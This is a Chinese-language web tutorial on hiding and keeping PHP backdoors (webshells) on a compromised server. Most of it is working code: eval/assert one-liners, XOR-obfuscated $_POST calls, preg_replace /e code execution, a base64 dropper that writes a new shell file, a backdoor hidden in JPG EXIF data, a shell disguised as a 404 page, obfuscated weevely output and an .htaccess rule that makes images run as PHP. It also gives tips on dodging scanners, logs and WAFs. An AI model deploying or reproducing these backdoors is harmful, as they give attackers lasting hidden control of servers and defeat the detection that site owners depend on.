程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> PHP後門隱藏與維持技巧,php後門技巧

PHP後門隱藏與維持技巧,php後門技巧

編輯:關於PHP編程

PHP後門隱藏與維持技巧,php後門技巧


在一個成功的測試後,通常會想讓特權保持的更久些.留後門的工作就顯得至關重要,通常布設的後門包括但不限於數據庫權限,WEB權限,系統用戶權限等等.此文則對大眾後門隱藏的一些思路做科普。

AD:

0×00前言

在一個成功的測試後,通常會想讓特權保持的更久些.留後門的工作就顯得至關重要,通常布設的後門包括但不限於數據庫權限,WEB權限,系統用戶權限等等.此文則對大眾後門隱藏的一些思路做科普.

  • <?php @eval($_POST['cmd']);?> 
  • 或這樣

    1. <?php @assert($_POST['cmd']);?> 

    當然,這僅是調用的函數不同,關於PHP禁用的函數請在php.ini: disable_functions 中尋找.

    但是運維直觀尋找我們shell的方式也有很多,如

    ◆通過文件名/修改時間/大小,文件備份比對發現異常

    ◆通過WEBSHELL後門掃描腳本發現,如Scanbackdoor.php/Pecker/shelldetect.php以及各種掃描器等等

    ◆通過Access.log訪問日志發現後門所在

    ◆又或者,我們的測試一句話還要被WAF攔一下,再來個警告日志,等等

    針對常見的檢測方式,總結以下七常用手法對shell進行隱藏

    0×01規避

    看看各種掃描後門的代碼就知道,留一個眾人皆知,人人喊打的關鍵詞在shell中是萬萬不能的

    PHP後門隱藏與維持技巧

    常見的關鍵詞如:

    ◆系統命令執行: system, passthru, shell_exec, exec, popen, proc_open

    ◆代碼執行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

    ◆文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

    過去有朋友機智的使用$_POST[0]($_POST[1])來執行命令,可惜現在也難逃掃描器法眼,但萬象變化,構造方法是無窮的

    tudouya 同學在FREEBUF上給出[一種構造技巧](http://www.freebuf.com/articles/web/33824.html)利用

    1. <?php  
    2. @$_++; // $_ = 1  
    3. $__=("#"^"|"); // $__ = _  
    4. $__.=("."^"~"); // _P  
    5. $__.=("/"^"`"); // _PO  
    6. $__.=("|"^"/"); // _POS  
    7. $__.=("{"^"/"); // _POST  
    8. ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);  
    9. ?> 

    構造生成,當然,嫌太直觀可以寫作這樣

    1. <?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?> 

    然後再填充些普通代碼進行偽裝,一個簡單的”免殺”shell樣本就出現了

    PHP後門隱藏與維持技巧

    執行無誤,且繞過普通掃描器,也可依賴之寫新的臨時shell

    PHP後門隱藏與維持技巧 

    0×02特性

    借助語法特性執行命令亦不失為有趣的手法.借用php在處理變量時的語法特性,會分析雙引號中的數據是否含有變量(並解析其值)

    eg.:

    1. ${@eval(phpinfo())} 

    {}可解析雙引號內的變量內容,@保持出錯後繼續執行

    然後就可以大搖大擺的開始構造隱藏後門了,但此處構造欲再借力於函數引起的命令執行,沒錯,就是preg_replace

    1. <?php @preg_replace("//e",$_POST['cmd'],"");?> 

    這玩法顯然已經進了掃描器黑名單,簡單修改下

    1. <?php  
    2. function funfunc($str){}  
    3. echo preg_replace("/<title>(.+?)<\/title>/ies", 'funfunc("\1")', $_POST["cmd"]);  
    4. ?> 

    執行了,沒有被發現

    PHP後門隱藏與維持技巧

    執行的方式顯而易見,正則匹配後的{${phpinfo()}}傳入funfunc時引起了代碼執行

    1. funfunc("{${phpinfo()}}") 

    另一種方法

    1. <?php @assert("\$arr=\"".$_GET['cmd']."\";");?> 

    PHP後門隱藏與維持技巧

    0×03包含

    文件包含是眾人都玩過的方法,只是包含也有技巧

    普通文件包含可能僅僅是一個include包含某個txt或jpg,甚至直接留一個包含漏洞,但掃描器也容易發現,多出的包含文件也易被發現

    看此腳本

    1. <?php  
    2.     if(@isset($_GET[content]))  
    3.     {  
    4.     $fp=fopen('README','w');  
    5.     file_put_contents('README',"<?php\r\n");  
    6.     @file_put_contents('README',$_GET[content],FILE_APPEND);  
    7.     fclose($fp);  
    8.     require 'README';}  
    9. ?> 

    算是解決了一點問題,需求的shell可隨用隨生成,進而包含之

    PHP後門隱藏與維持技巧

    可惜由於file_put_contents等函數過於敏感,也是很容易被掃描發現

    編碼生成的方式創建shell,隨訪問而生成.

    1. <?php @fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));  
    2. ?> 

    可以逃避一些掃描器,但這個模式也比較引人注目,生成的新文件也要做簡單的隱藏以躲過查殺.

    當然對於啟發式之類的新概念就不考慮了

    在這種方式也滿足不了需求的情況下,機智的攻擊者又重拾圖片

    1. <?php $exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif['Model'],'');?> 

    參考:一種隱藏在JPG圖片EXIF中的後門

    這次不必再簡單的copy /b生成圖片馬了,借用preg_replace執行文件的特定標志一樣可行

    PHP後門隱藏與維持技巧

    此處可能會提示 Call to undefined function exif_read_data()

    需要修改php.ini, extension=php_exif.dll

    將其加載順序改為extension=php_mbstring.dll的後面

    PHP後門隱藏與維持技巧

    可以看出,此圖片後門借助了preg_replace \e參數,依賴了php的變量解析執行,又使用了base64編碼,最後依賴文件標識將一個完整的shell拼合,算是給初涉後門隱藏的童鞋一個小提醒

    當然,只要有包含點,包含文件的形式是多樣的,甚至於包含error_log(雖然可能要考慮閉合),只有想不到…

    0×04隱匿

    為了不讓訪問者發現後門的存在,機智的安全研究員也會混淆視聽故弄玄虛

    1. <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">  
    2.     <html><head>  
    3.     <title>404 Not Found</title>  
    4.     </head>  
    5.     <body>  
    6.     <h1>Not Found</h1>  
    7.     <p>The requested URL was not found on this server.</p>  
    8.     </body>  
    9.     </html>  
    10. <?php  
    11.     @preg_replace("/[checksql]/e",$_POST['cmd'],"saft");  
    12. ?> 

    借助上面的html渲染後,浏覽頁面已經開始偽裝404以迷惑視聽了

    但躲得過訪問者也躲不過日志分析,為更好的隱藏在大量日志中,構造如下腳本

    1. <?php  
    2.     header('HTTP/1.1 404');  
    3.     ob_start();  
    4.     @fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));  
    5.     ob_end_clean();  
    6. ?>  

    訪問之,是真正的404,沒錯,日志中也是這樣

    PHP後門隱藏與維持技巧

    但此刻當前目錄已生成我們要連接的腳本

    0×05混淆

    用過weevely工具的童鞋應該知道,其生成的免殺shell像這樣

    1. <?php  
    2.     $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";  
    3.     $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";  
    4.     $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");  
    5.     $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";  
    6.     $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";  
    7.     $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");  
    8.     $jgfi = $ftdf("l","","lclrlelaltel_functlilon");  
    9.     $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();  
    10. ?> 

    終端下連接後像這樣

    PHP後門隱藏與維持技巧

    Ps:截圖忘記修改終端編碼了:(

    其免殺方式在於,在固定區域生成隨機名稱變量,後借助str_replace拼合base64_decode,執行命令的過程

    當然,這是在代碼層面混淆視聽以躲過掃描器

    更常用的混淆視聽的方法:

    ◆修改文件時間

    ◆改名融入上傳後所在文件夾,讓人無法直觀看出文件異常

    ◆文件大小的偽裝處理(至少看起大小像個正常腳本)

    ◆選好藏身路徑並盡量少的訪問

    ◆畸形目錄%20

    關於空格目錄,還是相對容易被發現的

    PHP後門隱藏與維持技巧

    0×06解析

    利用.htaccess,添加解析後門

    PHP後門隱藏與維持技巧

    如:

    1. AddType   application/x-httpd-php     .jpg 

    PHP後門隱藏與維持技巧

    以上以weeverly為例

    0×07雜糅

    總結以上方法,大部分無非是一個構造漏洞的過程,漏洞構造的代碼能有多奇葩,後門就可以多奇葩.可以寫纖細婉約的,也可以搞簡單粗暴的,只是適用場 合不同而已.如能很好的融合思路,構造自己的隱藏shell想來亦非難事.以上僅為總結經驗之談,各位有有趣的想法還望不吝賜教.

    1. 上一頁:
    2. 下一頁:
    Copyright © 程式師世界 All Rights Reserved